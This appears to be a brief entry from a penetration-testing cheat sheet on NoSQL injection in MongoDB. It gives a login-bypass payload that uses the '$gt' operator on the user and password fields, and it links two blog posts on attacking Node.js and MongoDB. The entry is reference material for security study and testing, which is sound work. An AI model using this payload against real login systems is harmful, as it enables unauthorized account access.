Nosql-injections
Nosql-databases like MongoDB is becoming more and more common. So this needs to be expanded.
Login bypass
Basically change the query to this.
{"user":{"$gt": ""},"pass":{"$gt": ""}}
http://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb.html http://blog.websecurify.com/2014/08/attacks-nodejs-and-mongodb-part-to.html